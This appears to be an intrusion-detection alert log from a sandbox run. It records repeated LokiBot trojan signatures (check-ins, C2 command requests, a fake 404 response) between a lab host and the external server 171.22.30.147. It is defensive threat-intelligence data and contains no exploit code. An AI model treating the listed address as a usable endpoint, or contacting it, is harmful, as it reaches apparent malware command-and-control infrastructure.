192.168.2.3171.22.30.14750032802025381 01/05/23-08:53:49.938594	TCP	2025381	ET TROJAN LokiBot Checkin	50032	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749886802825766 01/05/23-08:53:05.845633	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49886	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749923802825766 01/05/23-08:53:17.329996	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49923	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749726802024318 01/05/23-08:52:18.702884	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49726	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749821802021641 01/05/23-08:52:46.829983	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750059802024318 01/05/23-08:53:57.279795	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50059	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749844802024318 01/05/23-08:52:54.549139	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49844	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750009802025381 01/05/23-08:53:42.368696	TCP	2025381	ET TROJAN LokiBot Checkin	50009	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750013802024318 01/05/23-08:53:43.455950	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50013	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750059802024313 01/05/23-08:53:57.279795	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50059	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749844802024313 01/05/23-08:52:54.549139	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49844	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749827802025381 01/05/23-08:52:48.461129	TCP	2025381	ET TROJAN LokiBot Checkin	49827	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750013802024313 01/05/23-08:53:43.455950	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50013	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749888802025381 01/05/23-08:53:06.392338	TCP	2025381	ET TROJAN LokiBot Checkin	49888	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749939802024313 01/05/23-08:53:21.632432	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49939	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749890802021641 01/05/23-08:53:06.934564	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49890	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749939802024318 01/05/23-08:53:21.632432	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49939	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498242025483 01/05/23-08:52:47.720430	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49824	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749974802025381 01/05/23-08:53:33.106432	TCP	2025381	ET TROJAN LokiBot Checkin	49974	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498022025483 01/05/23-08:52:41.721047	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49802	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750030802825766 01/05/23-08:53:49.383588	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50030	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749859802021641 01/05/23-08:52:58.622571	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49859	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749702802825766 01/05/23-08:52:08.155254	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49702	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498802025483 01/05/23-08:53:04.312009	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49880	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749956802825766 01/05/23-08:53:26.250117	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49956	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749768802021641 01/05/23-08:52:30.564042	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49768	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749910802825766 01/05/23-08:53:13.740225	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49910	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749735802825766 01/05/23-08:52:21.259701	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49735	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750063802825766 01/05/23-08:53:58.331391	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50063	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750026802024318 01/05/23-08:53:48.341265	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50026	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749854802021641 01/05/23-08:52:57.240558	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49854	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750026802024313 01/05/23-08:53:48.341265	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50026	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749877802024313 01/05/23-08:53:03.433942	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49877	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749906802024313 01/05/23-08:53:12.686115	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49906	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749948802825766 01/05/23-08:53:24.079081	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49948	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750003802021641 01/05/23-08:53:40.763519	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50003	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749877802024318 01/05/23-08:53:03.433942	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49877	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749929802021641 01/05/23-08:53:18.948979	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49929	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498652025483 01/05/23-08:53:00.312861	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49865	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749906802024318 01/05/23-08:53:12.686115	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49906	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749735802021641 01/05/23-08:52:21.259701	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750063802021641 01/05/23-08:53:58.331391	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50063	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750021802024313 01/05/23-08:53:46.361205	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50021	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498542025483 01/05/23-08:52:57.330801	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49854	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749943802825766 01/05/23-08:53:22.718924	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49943	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498432025483 01/05/23-08:52:54.345838	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49843	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750068802021641 01/05/23-08:53:59.646284	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50068	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749907802024313 01/05/23-08:53:12.956728	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49907	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749901802024318 01/05/23-08:53:11.357263	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49901	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500402025483 01/05/23-08:53:52.223381	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50040	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749708802021641 01/05/23-08:52:10.789251	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49708	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749907802024318 01/05/23-08:53:12.956728	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49907	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749771802825766 01/05/23-08:52:31.374001	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49771	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749761802025381 01/05/23-08:52:28.591148	TCP	2025381	ET TROJAN LokiBot Checkin	49761	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749850802025381 01/05/23-08:52:56.172529	TCP	2025381	ET TROJAN LokiBot Checkin	49850	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499692025483 01/05/23-08:53:31.862339	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49969	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750030802021641 01/05/23-08:53:49.383588	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50030	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750062802825766 01/05/23-08:53:58.073723	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50062	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749978802025381 01/05/23-08:53:34.155329	TCP	2025381	ET TROJAN LokiBot Checkin	49978	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500812025483 01/05/23-08:54:03.316072	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50081	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749883802025381 01/05/23-08:53:05.037332	TCP	2025381	ET TROJAN LokiBot Checkin	49883	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749889802025381 01/05/23-08:53:06.674333	TCP	2025381	ET TROJAN LokiBot Checkin	49889	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749724802025381 01/05/23-08:52:18.098497	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750069802021641 01/05/23-08:53:59.913079	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50069	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749794802025381 01/05/23-08:52:39.439392	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749834802021641 01/05/23-08:52:50.512718	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49834	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749926802024318 01/05/23-08:53:18.143087	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49926	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750059802825766 01/05/23-08:53:57.279795	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50059	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499282025483 01/05/23-08:53:18.757059	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49928	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749892802025381 01/05/23-08:53:07.470439	TCP	2025381	ET TROJAN LokiBot Checkin	49892	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749767802825766 01/05/23-08:52:30.299348	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49767	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749926802024313 01/05/23-08:53:18.143087	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49926	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749780802025381 01/05/23-08:52:35.511333	TCP	2025381	ET TROJAN LokiBot Checkin	49780	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749918802025381 01/05/23-08:53:15.920283	TCP	2025381	ET TROJAN LokiBot Checkin	49918	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749808802024313 01/05/23-08:52:43.325468	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49808	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749987802025381 01/05/23-08:53:36.549688	TCP	2025381	ET TROJAN LokiBot Checkin	49987	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750043802825766 01/05/23-08:53:52.949985	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50043	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750072802021641 01/05/23-08:54:00.683642	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50072	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749713802024313 01/05/23-08:52:12.826844	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49713	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749808802024318 01/05/23-08:52:43.325468	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49808	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749897802024313 01/05/23-08:53:09.055046	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49897	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749705802025381 01/05/23-08:52:09.363911	TCP	2025381	ET TROJAN LokiBot Checkin	49705	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749857802825766 01/05/23-08:52:58.054307	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49857	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749963802024313 01/05/23-08:53:30.141323	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49963	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749897802024318 01/05/23-08:53:09.055046	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49897	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749963802024318 01/05/23-08:53:30.141323	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49963	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498352025483 01/05/23-08:52:50.990352	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49835	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749823802025381 01/05/23-08:52:47.379297	TCP	2025381	ET TROJAN LokiBot Checkin	49823	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749910802024318 01/05/23-08:53:13.740225	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49910	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749755802021641 01/05/23-08:52:26.961334	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749768802825766 01/05/23-08:52:30.564042	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49768	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749912802025381 01/05/23-08:53:14.329479	TCP	2025381	ET TROJAN LokiBot Checkin	49912	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749910802024313 01/05/23-08:53:13.740225	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49910	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499582025483 01/05/23-08:53:27.313519	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49958	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749793802025381 01/05/23-08:52:39.171445	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499392025483 01/05/23-08:53:21.712762	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49939	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500702025483 01/05/23-08:54:00.237420	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50070	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750006802825766 01/05/23-08:53:41.552586	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50006	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499172025483 01/05/23-08:53:15.716958	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49917	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749713802024318 01/05/23-08:52:12.826844	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49713	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749722802024313 01/05/23-08:52:17.506386	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49722	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749811802024318 01/05/23-08:52:44.140113	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49811	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749976802024313 01/05/23-08:53:33.629058	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49976	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749811802024313 01/05/23-08:52:44.140113	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49811	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749976802024318 01/05/23-08:53:33.629058	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49976	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749982802024313 01/05/23-08:53:35.215314	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49982	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749722802024318 01/05/23-08:52:17.506386	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49722	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749777802021641 01/05/23-08:52:34.550245	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749982802024318 01/05/23-08:53:35.215314	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49982	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750046802024313 01/05/23-08:53:53.748051	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50046	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749782802024318 01/05/23-08:52:36.098088	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49782	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749909802025381 01/05/23-08:53:13.489642	TCP	2025381	ET TROJAN LokiBot Checkin	49909	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497182025483 01/05/23-08:52:15.558526	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49718	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750046802024318 01/05/23-08:53:53.748051	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50046	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749782802024313 01/05/23-08:52:36.098088	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49782	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497292025483 01/05/23-08:52:19.632996	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49729	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750000802025381 01/05/23-08:53:39.996140	TCP	2025381	ET TROJAN LokiBot Checkin	50000	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749764802021641 01/05/23-08:52:29.472789	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49764	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749995802024313 01/05/23-08:53:38.676723	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49995	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749737802025381 01/05/23-08:52:21.818381	TCP	2025381	ET TROJAN LokiBot Checkin	49737	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750029802025381 01/05/23-08:53:49.112211	TCP	2025381	ET TROJAN LokiBot Checkin	50029	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750027802024318 01/05/23-08:53:48.599181	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50027	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497072025483 01/05/23-08:52:10.429352	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49707	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749995802024318 01/05/23-08:53:38.676723	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49995	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749853802021641 01/05/23-08:52:56.960046	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49853	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749866802825766 01/05/23-08:53:00.520534	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49866	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750027802024313 01/05/23-08:53:48.599181	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50027	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749778802024313 01/05/23-08:52:34.958959	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749968802021641 01/05/23-08:53:31.490288	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49968	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499842025483 01/05/23-08:53:35.825003	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49984	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749811802825766 01/05/23-08:52:44.140113	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49811	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500252025483 01/05/23-08:53:48.167670	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50025	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749873802021641 01/05/23-08:53:02.352866	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49873	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749778802024318 01/05/23-08:52:34.958959	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49778	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749906802825766 01/05/23-08:53:12.686115	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49906	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749985802825766 01/05/23-08:53:36.027311	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49985	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750030802024313 01/05/23-08:53:49.383588	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50030	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498102025483 01/05/23-08:52:43.945076	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49810	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499472025483 01/05/23-08:53:23.895642	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49947	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749735802024313 01/05/23-08:52:21.259701	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49735	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750030802024318 01/05/23-08:53:49.383588	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50030	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749745802024318 01/05/23-08:52:24.023320	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49745	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749939802825766 01/05/23-08:53:21.632432	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49939	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749718802025381 01/05/23-08:52:15.464089	TCP	2025381	ET TROJAN LokiBot Checkin	49718	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749745802024313 01/05/23-08:52:24.023320	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49745	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499062025483 01/05/23-08:53:12.766427	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49906	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499082025483 01/05/23-08:53:13.297314	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49908	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750017802024313 01/05/23-08:53:44.537455	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50017	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750073802024313 01/05/23-08:54:00.951462	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50073	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750017802024318 01/05/23-08:53:44.537455	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50017	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750073802024318 01/05/23-08:54:00.951462	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50073	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497612025483 01/05/23-08:52:28.674558	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49761	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749774802025381 01/05/23-08:52:32.369884	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749869802025381 01/05/23-08:53:01.298022	TCP	2025381	ET TROJAN LokiBot Checkin	49869	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749952802825766 01/05/23-08:53:25.200806	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49952	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749975802825766 01/05/23-08:53:33.363507	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49975	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749965802025381 01/05/23-08:53:30.671447	TCP	2025381	ET TROJAN LokiBot Checkin	49965	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750083802024318 01/05/23-08:54:03.789158	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50083	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500622025483 01/05/23-08:53:58.155004	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50062	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749834802825766 01/05/23-08:52:50.512718	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49834	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749755802024313 01/05/23-08:52:26.961334	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749910802021641 01/05/23-08:53:13.740225	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49910	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500512025483 01/05/23-08:53:55.178783	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50051	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749755802024318 01/05/23-08:52:26.961334	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49755	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750083802024313 01/05/23-08:54:03.789158	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50083	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749922802025381 01/05/23-08:53:17.061545	TCP	2025381	ET TROJAN LokiBot Checkin	49922	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750007802024318 01/05/23-08:53:41.829015	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50007	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750082802825766 01/05/23-08:54:03.532238	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50082	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498212025483 01/05/23-08:52:46.920509	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49821	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749879802025381 01/05/23-08:53:03.965987	TCP	2025381	ET TROJAN LokiBot Checkin	49879	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750007802024313 01/05/23-08:53:41.829015	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50007	80	192.168.2.3	171.22.30.147
